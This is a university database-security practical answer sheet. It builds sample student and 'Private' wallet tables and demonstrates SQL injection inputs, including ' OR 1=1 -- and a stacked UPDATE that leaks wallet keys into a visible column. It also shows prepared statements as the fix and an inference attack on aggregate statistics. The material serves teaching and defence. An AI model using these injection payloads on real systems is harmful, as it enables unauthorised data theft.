Security Practical 3 Answers

Dr Chris G. Willcocks

Last Modified: October 21, 2018

Practical 3

Here are the answers to the third practical on database security.

Creating the 'Users' table

Listing 1: SQL

```
DROP TABLE IF EXISTS Users;
CREATE TABLE Users (
    id INT IDENTITY(1,1) NOT NULL,
    username NVARCHAR(80) NOT NULL,
    firstname NVARCHAR(80) NULL,
    lastname NVARCHAR(80) NULL,
    grade FLOAT NULL,
    college NVARCHAR(80) NULL,
    fines FLOAT NULL,
    PRIMARY KEY (id)
);
INSERT INTO Users VALUES(null,'jess', 'Jess', 'Adams', '86.4', 'Castle', 4.21);
INSERT INTO Users VALUES(null,'greg7', 'Greg', 'Courier', '62', 'Chads', 0);
INSERT INTO Users VALUES(null,'alice4', 'Alice', 'Smith', '57.9', 'Castle', 1.21);
INSERT INTO Users VALUES(null,'chrzi', 'Chris', 'Jackson', '73.8', 'Cuths', 5.33);
INSERT INTO Users VALUES(null,'lauran3', 'Laura', 'Walker', '21.2','Ustinov', 0.34);
INSERT INTO Users VALUES(null,'ai219', 'Andrea', 'Ivanov', '84.2', 'Ustinov', 0.92);
INSERT INTO Users VALUES(null,'seb123', 'Seb', 'Elbert', '17.3', 'Chads', 0);
SELECT * FROM Users;
```

Creating the 'Private' table

Listing 2: SQL

```
DROP TABLE IF EXISTS Private;
CREATE TABLE Private (
    id int IDENTITY(1,1) NOT NULL,
    userID int NOT NULL,
    wallet NVARCHAR(80) NOT NULL,
    PRIMARY KEY (id),
    FOREIGN KEY (userID) REFERENCES Users(id)
);
INSERT INTO Private VALUES(null, 3, 'KworuAjAtnxPhZARLzAadg9WTVKjY4kckS8pw38JrD33CeVYUuDm');
INSERT INTO Private VALUES(null, 1, 'Kwi5LPxVehUieD18AXiXTay9UDkRC7wLShe4tR5kzym1k2NhzEQ6');
INSERT INTO Private VALUES(null, 5, 'L4mGG15YacXWPU7LHM8Lj2LboxabRriZGHFZb5eLDN7mPXPPAHQF');
SELECT * FROM Private;
```

Inner join of 'Users' and 'Private' tables

Listing 3: SQL

```
SELECT Users.firstname, Users.lastname, Private.wallet
FROM Private
INNER JOIN Users ON Private.userID = Users.id;
```

SQL injection attacks

The following will download the Users table above. The −− is a comment.

Listing 4: SQL in HTML input field

```
' OR 1=1 --
```

Complex injection example

There are a few ways to do this. A simple solution is to write over the lastname with the wallet data:

Listing 5: SQL in HTML input field

```
'; UPDATE Users
SET lastname = (
    SELECT wallet
    FROM Private
    WHERE Private.userID = Users.id
); --
```

Now click the 'Get student list' button and you should see the private wallets.

Prepared statements

You should always write prepared statements when handeling user inputs.

Listing 6: Java

```
Connection conn = DriverManager.getConnection(DB_URL,USER,PASS);
PreparedStatement prep = conn.prepareStatement("select * from Users where username = ?;");
prep.setString(1, username);
rs = prep.executeQuery();
response = resultSetToTable(rs, true, "");
conn.close();
prep.close();
```

Anonymous grades

Introduce a random selection order:

Listing 7: Java & SQL

```
rs = stmt.executeQuery("select grade from users order by uuid();");
```

Average grade of users & fines by college

Listing 8: Java & SQL

```
rs = stmt.executeQuery("select AVG(grade) from users;");
```

Listing 9: Java & SQL

```
rs = stmt.executeQuery("select college,SUM(fines) from users GROUP BY college;");
```

Inference attack on the class statistics

1. You can infer that Chris has a fine of 5.33 as he is the only member of Cuths.
2. You can infer that Greg and Seb have fines of 0 as they are members of Chads and fines can not be negative.
3. You can infer that Jess has a fine of 4.21 as you are logged in as Alice. You know your own fine of 1.21 and your own college is Castle, and you can see that Jess is the only other member of Castle, which has total fines of 5.42. Therefore you can do 5.42-1.21 = 4.21.